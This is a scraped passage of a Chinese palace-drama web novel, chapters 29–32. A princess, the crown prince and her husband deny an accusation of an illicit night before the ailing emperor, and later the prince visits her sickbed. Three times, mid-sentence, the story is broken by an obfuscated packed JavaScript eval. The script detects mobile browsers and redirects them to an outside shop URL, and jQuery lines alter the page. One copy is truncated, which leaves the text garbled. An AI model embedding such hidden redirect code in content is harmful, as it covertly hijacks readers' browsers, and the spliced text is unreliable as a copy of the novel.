接着夏荷跪在地上,重重磕了三个响头:“奴婢所说千真万确,求圣上明鉴!” 29. 第 29 章 殿内霎时静了下来,一道锐利的目光扫向赵清漓,她心底闪过一丝错愕,尽可能平静心神回望过去。 永元帝正在看着她,用一种她从未见过的复杂的眼神牢牢锁定她。有震惊,有愤怒,有失望,还有许多她无法言说的情感。 他一字一句砸向她:“你还有什么要说的?” 再多的辩解似乎都显得无力,她该如何解释那晚的事? 说太子只是去祝贺她,还是说太子只是尽他兄长本分关心她? 似乎都很苍白。 赵辞彻夜留在她那儿是不争的事实,周砚枕从头至尾并未出现也是事实。 无论怎么想,她都没有很好的解释,可闭口不言不是办法,就算再烂的解释,她也总要试试。 赵清漓深吸口气,把心一横:“父皇......” “父皇!” 身侧跪着的人突然开口,清冽的声音如一汪泉水浇熄她杂乱的思绪。 赵清漓被他打断了话,转过头看着他。 赵辞淡然地扫了她一眼,然后看向永元帝:“当日儿臣并未去过皇妹寝殿,父皇万不可轻信外人谗言。” 言下之意便是夏荷撒谎。 赵清漓微微睁大眼睛,赵辞这么一开口,接下来便是再认错或诡辩都难了,只能咬死是夏荷污蔑。 他胆子可真大! 父皇罚他跪了两日反省自己,就是因为已经起了疑心,就算他们咬死夏荷撒谎,双方也是各执一词,即便最后是父皇偏颇自己的亲儿子,但这道疑云会一直埋在他的心底。 帝王一旦生疑是很可怕的一件事,比求得他原谅的后果更让人难以承受。 永元帝显然不会轻信,摆了摆手道:“说下去。” 赵辞虽然还跪在那,却底气十足地为自己分辩:“夏荷只是个小宫女,她既能被赵姝绾收买,那么自然也有替她作伪证的嫌疑。正如皇妹所说,她因和亲之事对我们心生怨恨,又在宫宴上因儿臣丢了面子,她会诬陷我们,不足为奇。” 提起当年和亲的事,一是为了提醒永元帝当年的事他也是参与者,好让他能设身处地想想自己被诬陷的可能,二也是提醒永元帝回忆起那日宫宴的情景,想想赵姝绾的所作所为以及自己维护皇族颜面的举动。 赵清漓忍不住认真正视赵辞一番,不愧是太子,诡辩也能如此理直气壮。 永元帝脸上出现一丝动容,狐疑地在长宁公主和夏荷身上来回打量。 长宁公主见势不好,指着赵辞急道:“你胡说——” 赵辞一记如霜的目光回应过去,竟让长宁公主顿时住了口,他又沉着道:“究竟是谁胡说,长宁公主不必着急,稍后自会有结论。” 赵清漓顿时也装起委屈来,三两下挤出眼泪,泪眼婆娑地望着永元帝:“夏荷本就不是儿臣亲信,儿臣闺阁中的事她又怎会清楚,现下她又和视儿臣为死敌之人串通一气,身为儿臣宫里的人却来污蔑儿臣和皇兄,难道父皇真要相信两个外人的话吗?” 她和赵辞一口一个外人,无时无刻不在提醒永元帝赵姝绾的话不能信。 赵辞点点头,正色道:“正是如此,皇妹宫中侍奉的人不少,为何只有夏荷一人有此所言,况且周中丞与皇妹的婚事是儿臣极力促成,若真如夏荷所说,岂不是自相矛盾?” 这番话一出口,赵清漓知道已有一半胜算了。 这么矛盾的事,莫说旁人想不通,就连她自己也至今未能想通,她不信在场这几人能有合理的理由去反驳他的话。 若是有,她还真想好好听一听,也算是帮自己解惑。 永元帝沉思片刻,觉得有些道理:“说起周中丞......” 这时,李牧从殿外赶来,一只脚刚进门槛还没落地,瞥见大殿中间乱七八糟跪了一地,哭的哭、喊的喊。 他呆了一呆,绕过趴在地上的夏荷来到永元帝面前,对他回禀:“圣上,周大人求见。” 听到“周大人”三个字,赵清漓立即抬起头看向李牧,想到许是周砚枕发现自己不见,这才寻到了这里。 那还有什么可担心的? 赵清漓倏然松快下来,紧绷的心情直到此刻才算落下一大截,她不自觉地轻弯起唇角。 赵辞的目光也在此刻变得晦暗不明,他在赵清漓的脸上看到了一种叫做“安心”的情绪,可这种安心不是他带给她的,而是来自另外一个男人。 永元帝点点头,吩咐李牧:“叫他进来。” 属于周砚枕的步伐节奏缓缓踏着青砖而来。 他一进门,首先映入眼帘的也是这样一副混乱的场景,似乎只有“乱七八糟”四个字可以形容,但他比李牧更显沉稳,只是淡淡瞟过去,在赵清漓纤弱的身影上多停驻了片刻,不着痕迹地收回。 周砚枕站在几人身后,朗声向永元帝问安:“臣周砚枕见过圣上。” 永元帝随意应了一声,直接切入正题:“周大人来的正好,朕要问你,你和清漓成婚那晚在哪里?” 周砚枕面似不解,自然地回话:“新婚之夜,洞房花烛,臣自然和公主在一起,圣上此言何意?” 他的表情很自然,回答的也从善如流,让人看不出一点破绽,再加上周砚枕名声在外,天生就能让人多一层信服感。 “胡说!”长宁公主立刻站起身,但她跌坐太久,脚下还踉跄一下。她指着周砚枕步步紧逼,“你分明歇在偏殿,和赵清漓在一起的是他赵辞,怎会是你!” 周砚枕拢起眉宇,一张清俊的面容带着嫌恶,动作刻意地避开她的手指,反唇相讥:“长宁公主,你不能因为自己夫君离世,就见不得别人夫妻恩爱吧?” 这无疑是在长宁公主伤口上撒盐。 “你——” 长宁公主还要说什么,周砚枕又冷声开口堵上她的话:“我说错了?自从你回宫后就处处针对清漓,现在又来圣上面前搬弄是非污蔑我们清誉,公主,你可想过后果?” “周、砚、枕!”长宁公主咬牙切齿,恨不得立刻扑上去将他撕碎。 “够了!咳咳咳咳咳......”永元帝见状怒喝一声,紧接着又是一阵咳嗽。 身边的李牧连忙给他顺气,担心地望着他。 圣上今日咳嗽的实在太频繁了,这样下去身体恐怕吃不消,再瞧地上跪的七零八散的几个人,今日之事总要出个结果,于是他抬起眼,小心地用眼神请示下永元帝,永元帝回过脸,默许地点点头,李牧便立刻出去了。 夏荷不知道李牧出去做什么,她只知道若此番告发不成必定难逃一死,她既回不了头,索性也豁出去了。 她咬咬牙,突然插话:“奴婢亲眼所见,驸马爷当日就在偏殿休息,并未进公主寝殿的门!” “哦?”周砚枕微微挑眉,转过身晲着地上那人,“你叫......夏荷是吧?我记得大婚那日你并未在内院侍奉,那你又是从何得知我不在寝殿的呢?” 夏荷知道私自进内院是不合规矩,声音也没方才那样有底气:“奴婢......奴婢是打水的时候正好瞧见的......” 长宁公主怎么也没想到,周砚枕作为赵清漓的夫君,居然能说出这番话来维护他,当即心中狂跳不止,气血上涌。 她面目狰狞地大喊:“周砚枕,你辅佐的太子和你的新婚妻子做出这等苟且之事,你竟还袒护他们,如此颠倒黑白甘心做他赵辞的走狗,你还是不是个男人!” 周砚枕眉心一凝,短暂地面露不快之后突然轻笑一声,不屑地说:“长宁公主为了诬陷清漓和太子当真是费尽心机,可我是清漓的枕边人,她的一切我最了解,又岂能任你在这泼脏水?” 说完,周砚枕对永元帝拱手道:“圣上,清漓身边向来是春桃侍奉,她随臣一同来寻公主,圣上若不信,可唤春桃进来问话。” “不必了!”永元帝叹一口气,艰难地从榻前站起来。 有驸马亲口承认的证词,哪里还需要什么春桃春梨再作辅证。 在永元帝看来,今日这场闹剧显然就是赵姝绾的报复。这个女人,心思歹毒! 夏荷突然想起什么,惊声叫道:“不是这样的!驸马爷撒谎!他和公主根本不是我们见到那样恩爱的模样,公主在韶音宫总是对驸马冷言冷语,奴婢还听到公主说要和离啊什么的!” 没想到夏荷非但观察她的一言一行,还敢偷听她们说话。 赵清漓垂下眼睫,她记得这夏荷是惠贵妃宫里出来的…… 赵清漓抽泣两声,抬手抹去挂在睫毛上的泪珠,像只小兔子一样可怜兮兮地仰头看着永元帝:“我对驸马的心意父皇和母后都是看在眼里的,若我真想与他和离,当初为何还要嫁给他?” 永元帝也觉得这夏荷说得越来越离谱,越发笃定她和赵姝绾根本就是沆瀣一气,想到这里他突然心中一阵后悔,看向赵清漓的目光多出几分慈爱和怜惜来。 “你,起来吧……”永元帝说完,重新坐回龙榻上。 今日他的确被气的不轻,眼下都觉得有些头晕目眩了,坐下的一瞬间像是被抽干了全身力气。 赵清漓勉强支撑着身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999048|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,沾血的小衫缠在臂上,又痛又不舒服。腿却怎么也使不上力气,早就跪麻了。 “小心!” 一双白玉似的手从她臂下把人搀起,这才稳住她险些跌倒的身子,周砚枕动作温柔地把她从地上扶起来,同时细心避开她的伤口,低头看她的目光满含疼惜。 赵清漓在他春日泉水般澄澈的眼眸中出现瞬间的恍惚,她很快垂下头去,小声道谢:“......多谢。” 周砚枕轻轻摇头:“你我之间无需道谢。” 俨然一副夫妻间浓情蜜意的画面。 赵清漓觉得他和太子不愧一条船上的,演技都是同样的出色,周砚枕表现的越是体贴,她才越觉得伤感。 但在其他人眼里却不是这样,譬如长宁公主,此刻她已经站不住脚,目中闪着汹涌的恨意。 长宁公主破口大骂:“狗皇帝!你有本事迫害自己兄长,却放任自己的儿女秽乱宫闱,你这个瞎眼的唔......唔......” 话没说完,她的口中被人塞进一团绢布,紧接着一左一右两个近卫扣着她的两肩,死死制服住她挣扎的动作,只剩听不清的呜咽声。 同样被牵制的还有夏荷。 赵清漓回首,正是李牧带着人进来,几声令下命人把她们拖下去:“看紧了,不许她们再说半个字!” 禁军动作利落,很快把两人的手脚捆紧,三两下抬起带了出去。 永元帝气得胸口起伏不止,不住地喘息,吩咐李牧:“你去盯着,不是你来办,朕总是不放心。” 李牧温顺地应一声“是”,面上含笑地退出殿门。 永元帝神色复杂地看了一眼赵清漓,想要去问问她的病势,却觉得身体上力不从心,只好叹了一声:“委屈你了,你......回去好好休息......朕一定会补偿你的。” 赵清漓心有余悸,此刻心情也颇为复杂。 她实在没办法再趋炎附势说许多贴心的话来,只谢过永元帝,在周砚枕的搀扶下慢慢朝外走,脚下一深一浅的,背影甚是狼狈。 走到门口,那只脚刚刚越过门槛,她忍不住偏头用余光望去,赵辞还跪在那,此刻殿中只剩他和永元帝两人,那道背影突然显得单薄可怜起来,永元帝没让他起来,他便只能一直跪着。 可是赵清漓现在是不能再为他多说一个字的,哪怕问一句也很有可能扰乱局势。 自古帝王多疑心,这几日,她算是实打实地见识到了。 走出几步,还未下台阶,赵清漓突然停了下来。 周砚枕不解地问:“怎么了?” 赵清漓迟疑了下:“父皇现在心情不畅,祈福的事三皇兄自然去不成了,我是不是该向父皇禀明,等过几日身体好些了再启程,免得他觉得儿女都不体谅圣体?” 周砚枕思谂片刻,觉得说这些倒是不妨事,便点点头,扶她往回折。 刚靠近殿门,却听大殿里头传来永元帝略带威严的问话:“你可知朕为何独独让你继续跪着?” 赵辞似是顿了一下:“儿臣不知。” “你是太子,是一国之本,不能有任何问题。”永元帝叹息一声,“朕问你,你对清漓究竟是否有意?” 赵清漓跟着脚步一顿,身体僵在那儿,硬生生没敢再动。 周砚枕心中也叹了口气,到底永元帝还是有疑心的,可为什么他唯独对此事会有疑心? 两人心照不宣地站在门前,静静听着里头的动静。 “回父皇,儿臣一直视清漓为亲妹妹。”赵辞的声音很轻,却能听出十分坦然,没有一点儿紧张感。 “亲妹妹......外人不知,难道你还不清楚吗?”永元帝语气突然软了下来,有些退让道,“澜之,你们本就不是血亲,若你真对清漓有意,朕便公开她的身世成全你们,这也不是不可以......” 周砚枕听得眉心一紧,心中如同遭雷击一般震撼,不可置信地看向赵清漓,她正眉头紧锁,一点也不吃惊地等待下文,脸上隐约带着一丝期待。 这消息可以说是他在近年听过最意外的了,当朝公主竟非皇室血脉? 然而周砚枕是经过风浪的,很快收回目光,内心逐渐明了。 起初他还觉得太子举止令人匪夷所思,现在看来一切都说的通了。 他心中陡然涌现一些莫名的情绪。 到底赵辞是永元帝的亲生儿子,父亲对儿子,心中终究不忍。 永元帝妥协道:“朕给你个机会,你若喜欢她,朕为你做主......” 30. 第 30 章 听到永元帝的话,周砚枕悄然捏紧了拳,面色微凝。 赵清漓的肩头同样被震撼的抖了一下,但周砚枕仍发现有些不对,他在赵清漓的神色中似乎看到了一丝不易察觉的......期待? 不似方才期待后续发展的那种期待,而是有期望、有担忧的那种复杂的期待感。 她在期待一个答案。 是期待他拒绝,还是......答应? “父皇!” 赵辞突然朗声打断永元帝,赵清漓的心也随着他这一声立即被提到嗓子眼,手指不自觉的收紧,指甲掐在掌心留下几道浅浅的月牙小坑。 周砚枕默不作声的把她的表情变化尽收眼底,心随之沉了一沉。 下一刻,赵辞的话跃然耳中:“儿臣对清漓只是兄妹之情,并无其他感情。” 他的话掷地有声,准确清晰地传达给门外二人。 周砚枕下意识偏过头去瞧赵清漓,只见赵清漓微微抿唇,睫毛悄然垂下几分。 赵清漓忽然觉得自己很可笑。 听到这句回答时她竟然觉得失落,也许是因为方才真有那么一瞬间,她有想过赵辞会答应,但她又知道不会的,纵然他数次向自己表明心意,纵然他承诺过日后定会给她名分,纵然......可她就是知道,他不会在父皇面前承认的。 同时她也气自己,明明她才是赵辞所言一般对他只有兄妹之情,可为什么她还是会觉得有一点失落。 好奇怪。 好吧,既然太子都这么说了。 永元帝认真思索了一阵,突然问他:“清漓曾向朕提出要与驸马搬出宫外,这件事......你怎么看?” 赵辞理所当然接道:“父皇若舍得,依她就是,这样日后也能少些麻烦,免得再有人向父皇诬陷我们有私。” “这话倒也不错。”永元帝貌似无意的观察着赵辞脸上的表情,又问,“只是不知道赵姝绾是否给人留下话柄,若清漓此时搬出宫外,会不会引起旁人揣测?” 赵辞岂会不知永元帝每句都是试探,说了这么多,无非还是疑心他和赵清漓之间有什么。 他假装苦恼一番,做出慎重抉择的表情:“......那就斩草除根,赵姝绾多次对您言语不敬,又诬陷皇室宗亲,这些都是灭族重罪,您一再忍让只会助长那些心术不正之人的气焰。恕儿臣直言,儿臣知晓父皇宅心仁厚,但为了江山社稷......赵姝绾和恒亲王都留不得。” 好一个一箭双雕! 既坚定了自己助赵清漓离宫的立场,力证自己对她并无私情,又将矛头推向赵姝绾,还暗示赵姝绾此举背后定有人推波助澜。 赵辞的话术也极精巧,不但体恤永元帝身居高位之辛苦,还很好的为他带上高帽后又找了灭口的理由,这下永元帝那点仅存的犹豫怕是也烟消云散了。 赵清漓听得忍不住冷笑,这就是未来的天子吗?当真好心计! 她再也不想听到他们所说的任何一个字,无声地扯了下周砚枕的衣角,由他扶着轻轻离开。 门内的永元帝果然认真听进去了赵辞所说,心里的天秤逐渐倾斜向另一边。 他不由得重新审视赵辞,眉眼、神韵、个性......试图从他身上找出一些旧人的旧影,但最终没有。 他早已记不得庄妃的模样,记不得与她曾拥有过的温存。只记得她叫傅雪莹,人如其名,是个容貌胜雪一般晶莹姣好,性情也如雪一样干净剔透的女子。 永元帝微微眯起眼,最终吐出一句:“你与你母妃完全不同。” 赵辞浅笑了下,恭敬道:“儿臣是父皇的儿子,自然与父皇更加相似。” —————— 春桃在昭华殿外等了许久,才等到周砚枕扶着赵清漓一步一步缓缓走出来。 她吓了一跳,在原地呆了下急忙迎上去,惊讶道:“公主怎么成这样了?去的时候不是还好吗?” 跪那么长时间,加上一直失血还要强撑着不露破绽,谁会好的了。 赵清漓摇摇头,示意先回去再说。 离昭华殿越远,路上的宫人便越多,他们忍不住偷偷打量这一行三人,心中不知道在揣测些什么。 周砚枕眼神闪烁几下,垂下颌角靠近赵清漓的耳边,小声道:“你可还能撑到回去?” 赵清漓当下没明白他什么意思,略显茫然地仰过头看他,琉璃般剔透干净的眼眸就这样顿现在她面前,眸光中似有倒影,是她微微吃惊的样子。 周砚枕用余光扫过远处正迎面走来的几个宫女,手里提着食盒,也不知道要去哪个宫里。 他小声提醒道:“你身体不便,我能不能抱你回去?” 赵清漓突然意识到周砚枕是在告诉自己,后宫中人多口杂,难免会被人传了闲话,对自己的声誉百害无利,既然刚才在殿上已经演过一把恩爱夫妻,也该一演到底。 令她唯一觉得别扭的地方是,周砚枕身为驸马,却连抱抱她都要征求一下意见,反观赵辞...... 赵清漓看着他心中五味杂陈,他太卑微了。 赵清漓动了动手臂,迟疑地说:“我的衣袖上都是血,会脏了你的衣裳。” 提着食盒的宫女越来越近。 周砚枕轻笑下,知道她同意了,弯下腰轻松把人打横抱起,待她的手已经自然地搭在他肩头,周砚枕这才回应她:“不碍事。” 几个宫女这时候来到眼前,恭敬地问了声“公主金安、驸马金安”。 走过时,春桃回头张望着,见她们还在掩着嘴笑,小声地议论着“感情好”之类的。 赵清漓垂下眸子,将一身所剩无几的气力卸在周砚枕身上,第一次同他用一种撒娇的语气说道:“我累了,在你身上睡一会儿。” 周砚枕的眼睛悄悄弯起一丝弧度,声音带着不易察觉的愉悦:“好。” 赵清漓闭上眼,理想中和周砚枕婚后相处的景象早已变质了。 —————— 翌日,赵清漓毫不意外的发起了烧。 一是伤口未能及时得到处理,还被她一次一次撕扯出血,总算是不负众望的发炎了。加之回宫那日心中惊惧,又在殿里跪了很长时间,这样一折腾,赵清漓这种娇贵的身子骨铁定熬不住。 前来诊治的还是张御医,她手臂有伤的事不能让其他人知道,否则欺君之罪就坐实了。 张御医这下可算是写了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周砚枕心里有一丝的不适,他总觉得赵清漓的噩梦源于他和太子的所作所为,但他又不希望她的噩梦里有他,哪怕一秒,他都不想出现。 这个想法在他心里涌现的那一刻,他突然自嘲地笑了笑。 他也配? 他凭什么! 春桃端着银盆从外面推门进来,盆沿上搭着干净的方巾。 周砚枕收回思绪,面上恢复如常,半转过身轻声问:“圣上派来的人送走了?” 春桃眺过床榻上睡着的赵清漓,也小声回话:“送走了,只说是受了风寒,现下不好见人,旁的没什么大碍。张御医在宫中德高望重,其他人也不敢有疑。” 周砚枕放下心,把头转回来,赵清漓已经恢复平静,看样子是已经好好入睡了。 他缓缓起身,留下间隙让春桃为她擦脸,自己则是来到小院。 今年的天似乎特别的凉,这才十月初,秋风竟如此的刺骨,已有入冬趋势。 也不知,是不是心凉的缘故。 也不知......她如何了...... 31. 第 31 章 日头高照,暖阁里满室馨香。 “驸马爷,公主烧退了!” “驸马爷,今日的药也快煎好了!” ...... 赵清漓只觉得叽叽喳喳的声音格外清晰,一会儿有只手在她额上探,一会儿又摸摸她的脸,吵闹个没完。 赵清漓忍不住拧起眉,小脸上写满了不耐烦,嘟哝了一句:“走开......” “药来啦药来啦——” 还没等她话音落下,更脆生的声音紧接着传来,她一听便知道是春桃的。 赵清漓兀的睁开双眼,只见身边围了三四个丫鬟,各个带着诧异的目光从头顶望着她。 赵清漓一怔,以为自己睡糊涂了。 冬梅先反应过来,惊喜地叫了一声:“公主您醒啦!身上可有什么不舒服的?驸马派人去请张御医了,马上就来!” 春桃这会子已经挤进人堆里,捧着味道苦兮兮的药碗,这味道熟悉的紧,让赵清漓忍不住瑟缩一下,想起昨晚不知怎么灌进去的苦药汤子,正是这个味道。 几个人你一言我一语的簇拥着。 忽而一道清冽的声音轻声训斥道:“都做什么呢,还不散开一些!” 众人一哄而散,各做各的事去,只剩春桃还端着药碗在跟前,眨巴眨巴眼等她喝药。 周砚枕几步上前,小心托着赵清漓的后背扶她起身,在她身后垫起腰枕,脸上带着掩藏不住的关心。 他柔声说道:“张御医稍后就来,先把药喝了吧。” 扫过那碗药,赵清漓觉得自己口腔两侧已经开始分泌苦水,忍不住撇了撇嘴,收回目光:“太烫了,一会儿再喝吧。” 她的声音很干哑,难听得自己都吓一跳。 周砚枕不着痕迹地笑了下,猜出她的心思,转头对春桃说道:“药先搁在桌上,去厨房制些蜜饯果子来,多淋些蜂蜜,她喜欢。” “噢......好!” 待春桃搁下药碗,人也把门带上出去了,室内安静了片刻。 赵清漓发现她和周砚枕总是这样,总会莫名的陷入沉默,好像有很多要说的话,却好像都不知道从何说起,每每聊点什么,也总是旁人的事......似乎只有那样才自然。 出神间,周砚枕已经重新倒了杯茶,搁在掌心试了下温度,温温热热的水刚好可以润喉。 赵清漓接过,咕嘟咕嘟喝个干净,这才觉得黏住的喉咙得到解脱。 她顿了下,再次开口:“我睡了很久吗?” 她只记得自己那天回宫之后,处理好伤口就觉得有些困了,半夜就听见春桃推搡着自己说发烧了,那会儿她还没烧那么厉害,尚能知道张御医为她诊治时说了什么,待到第二日醒来,人就神志不清了。 “从张御医走后你便一直睡着。”周砚枕拿过她手里的空杯子搁在一旁,仔细瞧了瞧她的脸,带着些刚睡醒的微红,却不是昨晚那样高烧的颜色了。 赵清漓低着脑袋想了一会儿,神色不自然地问道:“那......父皇可有看过我?” 周砚枕颔首:“圣上卧病在床,不过倒是着几位御医过来看过了,李牧公公也替圣上来瞧过,只不顾当时你正睡着。” “噢......”赵清漓眼神躲闪了几下,贝齿在下唇上轻轻咬着,有些犹豫。 周砚枕注视她片刻,声音似乎有些微沉:“......你想问太子有没有来过?” 赵清漓立刻瞪圆了双眼,接着头垂得更低了,小声嗫嚅:“没有。” “没有。”周砚枕的回答轻轻砸在她耳畔,“太子殿下没有来过,也不曾派人来过。” 说到这的时候,他觉得自己的话有些不妥,似乎掺了一点别样的情绪在里面,于是叹一口气,声音缓和几分:“殿下要避嫌,不来是对的。” “你不用替他解释。”赵清漓冷声回怼一句,突然发现自己的语气像极了怨妇,她在心里狠狠骂了自己两句,又补充道,“他来不来关我什么事!” 这句解释颇有点此地无银三百两的意思,顿时让本就尴尬的氛围又死寂起来。 “吱呀——” 紧闭的门被轻声推开,春桃端着刚制好的蜜饯探头探脑进来,眼瞧着气氛不大对劲,像是来的不是时候。 赵清漓瞧见春桃进来却莫名舒一口气,招呼她拿来果子。晶莹的桃干和梅果上浇了厚厚的蜂蜜,色泽诱人,最是能解苦的。 赵清漓捧着药碗咕咚咕咚大口咽下,苦涩的味道随着她吞咽的动作灌满鼻腔,她强忍着拧紧眉头,愣是喝的只剩一点稀碎的药渣,而后从玉盘里捡一颗蜜饯丢进嘴里。 酸甜的味道染上舌尖,和嘴里的苦涩混杂在一起,药味虽然减轻了许多,但这种复杂的口感并不算好,她的眉头也一直没有松快下来。 周砚枕唇角动了动,说道:“李牧公公说圣上已经答允了你出宫的请求。” 意料之中的事,赵清漓淡淡“嗯”了一声,春桃却很吃惊地叫起来。 “公主殿下,咱们要搬出去吗?”春桃神色带着惊喜,很期待的样子。 赵清漓挑眉:“你想出去?” 春桃咧着嘴笑:“那当然啦!宫外多好玩呀,也没人管着咱们,也......” 春桃突然收敛起笑颜,暗道一句,也不用整天担心掉脑袋了。 赵清漓心中一动,沉吟道:“好,那就带你出去。” 去宫外住,她可不想再带一群麻烦跟着,宫里的旧人她只想应付一下带那么两三个,也免得永元帝心中多想。外人都知道春桃与她亲近,自然是要带着的。 春桃一听,兴高采烈的就收拾东西去了。 赵清漓偏过头看向周砚枕,他正微微垂头思索什么的样子,顿时想到他那所谓的“旧相好”,立刻换了张讥讽的表情,调侃道:“周大人心里应该也很想出宫去吧?” 周砚枕怔了下,笑着假装不懂:“这话从何说起?” 从何说起你自己心里不清楚吗! 赵清漓哼了一声,别过头不想理他,却听到背后有衣料摩擦的簌簌声。 周砚枕已经起身,清冷的声音嘱咐道:“出宫的事不必着急,御医说你的身子需要静养,至少要把这几贴药喝完了再走动,你先好好休息,我就在外面。” 赵清漓不想和他说话多少有点赌气的成分在,她总以为自己可以坦坦荡荡将这页翻过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999050|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然而每当想起周砚枕有个珍视多年的烟花女子,她都忍不住心中起伏,总想与她比较一番,但她最想知道的是,她求而不得的男人究竟会为什么样的女子倾倒。 烧退之后,赵清漓全身都不大舒服,待到张御医为她瞧过病后,那药像是有些催眠作用,她很快又睡下了,再睁眼时又到了傍晚。 用过晚膳,沐浴完毕后,月亮也悄悄爬上枝头。 赵清漓倚在窗台前的云榻上,身上披着厚重的翎羽斗篷,手肘边的烛台一阵一阵的抖,她丝毫没注意到,出神地望着窗外的月亮。 今夜无云,那月亮特别亮,也特别冷。 春桃一进来,“呀”了一声,忙去阖严窗子,那烛台终于不抖了,安安静静散着晕黄的暖光。 春桃紧张地努起嘴:“公主殿下,您怎么又在窗边吹风,仔细又要起烧了!” 赵清漓被她的表情逗笑了,不论春桃真正是为谁做事,至少她对自己的关心从来不是假的,这点赵清漓很清楚。或许也正是因为清楚这点,赵清漓对她的感觉也很复杂,一边怨她,一面又觉得可怜她。 院子里忽而传来说话的声音,赵清漓听不真切,但隐约听得出是两个男人的交谈声,便侧过头看了一眼春桃。 春桃点头,匆匆忙忙向外去打探。 赵清漓只听到房门开了一下,春桃便立刻调转脚步又回来了:“公主殿下,太子殿下来了,正在外头和周大人说话。” 赵清漓本还算平静的心瞬间起了波澜,再也无法平静了,她立刻蹙起眉,带着嫌弃的语气说道:“大晚上的,他来做什么!” “奴婢......” 话还没说完,半开的房门被人从外头又推响了,春桃连忙回头看去,果然是太子来了。 赵清漓一副不想看他的样子,没带一点好脸色,余光却忍不住悄悄打量起来。 赵辞今夜难得穿了一身素净的白袍,没有什么金线珠玉的勾式,只有边衬绣了一层银线,颇显俊雅的气质。 衣冠禽兽! 这是赵清漓对他的评价。 春桃闭不作声地出去了。 赵辞自顾自坐在方几另一侧,如同在自己家一样毫不拘束地将手肘搁在桌面上,撑着下颌将目光落在中间的烛台上,雪色的绢纱灯罩把烛光映的格外暖,打在他的脸上,让他矜贵傲气的眉眼也变得柔和了几分。 一个破灯有什么好看的! 赵清漓挺着脖颈,僵硬着动作用余光扫了他好几眼,只觉得赵辞似乎没打算看她,更没打算跟她说话。 她心里对他的一肚子气此刻终于再也忍不住,张口便是阴阳怪气的:“太子殿下深夜屈尊来访,就是为了欣赏我宫里的烛台吗,你若喜欢,拿走就是了!” 赵辞轻笑了下,终于舍得把目光从烛火上移开,瞧着她面色不善,他却心情不错。 许是他的目光过于直白,笑也不知何故,赵清漓被他盯得有些不自在,从缝隙间探出两只小手,将身上斗篷拢紧一些。 但他就这么看着,也不说话。 赵清漓便气恼了,反过来烦躁地瞪他:“太子殿下若没什么要紧事便请回吧,孤男寡女,总得避嫌不是?” 32. 第 32 章 话出口的瞬间,赵清漓真想咬断自己的舌头。 这句话是很平常的,怎么她说出来还有点埋怨的意思。避嫌这话不是赵辞说的,周砚枕也就那么提了一句,她倒是给用上了。 赵辞把掌心翻了个面,托着腮歪着头目不转睛地盯着她,语调轻扬:“我来见你,用得着避嫌吗?” 赵清漓忍不住翻了个白眼,抱着膝蜷成一团,正对着他,他的脸色干干净净的,不像前日那样落魄,也不像在永元帝面前那样一副克己守礼的样子。 “太子殿下跪了两日还没长记性?”赵清漓讥讽道,“不是说不怕人知道么?诡辩起来倒是比谁都厉害!” “唔......”赵辞微转了下眼眸作出冥想状,而后略显做作地惊讶了下,道,“你都听到了?” 并非他一早知道自己在偷听,看他的样子,他根本不在意自己是否在偷听,他无心掩藏任何事,或者说,他自信能够承受所有的后果。 这种自信究竟是从何而来,着实让人觉得惊奇。 赵清漓忍不住挑起眉,说出她的真实感受:“我有时候真是看不懂你,口口声声说自己不怕,但赵姝绾状告你的时候,你竟跪了两日也不肯承认,若我没回来,你打算跪死在昭华殿前?” “我不怕,是因为我能承受事情败露的所有后果,我不认,是因为我知道你不是我。”赵辞面色如常,娓娓阐述着事实,“清漓,你觉得自己承受得起吗?” 帝后的失望、宫闱的议论、旁人的眼色,她能承受吗...... 赵清漓咬着唇没说话。 赵辞最见不得她这种样子,立时伸出手,捏着她的下唇从齿间抽离出来,命令道:“不许咬。” 管的也太宽了! 赵清漓有点委屈:“我承不承受得起,还不都是你害的?” 如果没有他,一切的事也不会发生,现在也...... 罢了罢了,往事不可追。 赵辞耐着性子同她解释:“我知道你想查什么,我也说过我会帮你,宫里的情况你也瞧见了,不是你想的那样简单,你要与我合作,首先要保证自己的安全。” “不是合作!是交易。”赵清漓打断他,纠正他,“我不和不真诚的人合作。” 赵辞妥协地点头:“合作也好、交易也罢,我们现在是同一条船上的人,你想要的我会帮你查证,我要的,是你活着。” 赵辞目光灼灼,像是生怕她觉得自己不够真诚。 赵清漓挑不出他话里面上的瑕疵来,却莫名的心中不安,不知道是不是重活一世的缘故,她每每和他说话,都没有办法抹去全身的警惕性。 她细细想了下,也或许是他的信用早已在自己这里透支了。 “你想让我出宫去。”赵清漓确认了一番,待得到对方点头的回应,她思虑着问道,“那你告诉我,淮王在此事中是什么角色?” 赵辞惊讶了一瞬,没想到赵清漓会问这个,不过他还是回答了:“赵端想要皇位,我是他最大的阻碍,所以,他的目标是我。” 他不屑道:“赵端自知不如他那位同胞二哥,便想拉赵齐下水......我猜他原本的计划并非如此,只是碰巧赵姝绾对我们起疑,他便换了条路子。” 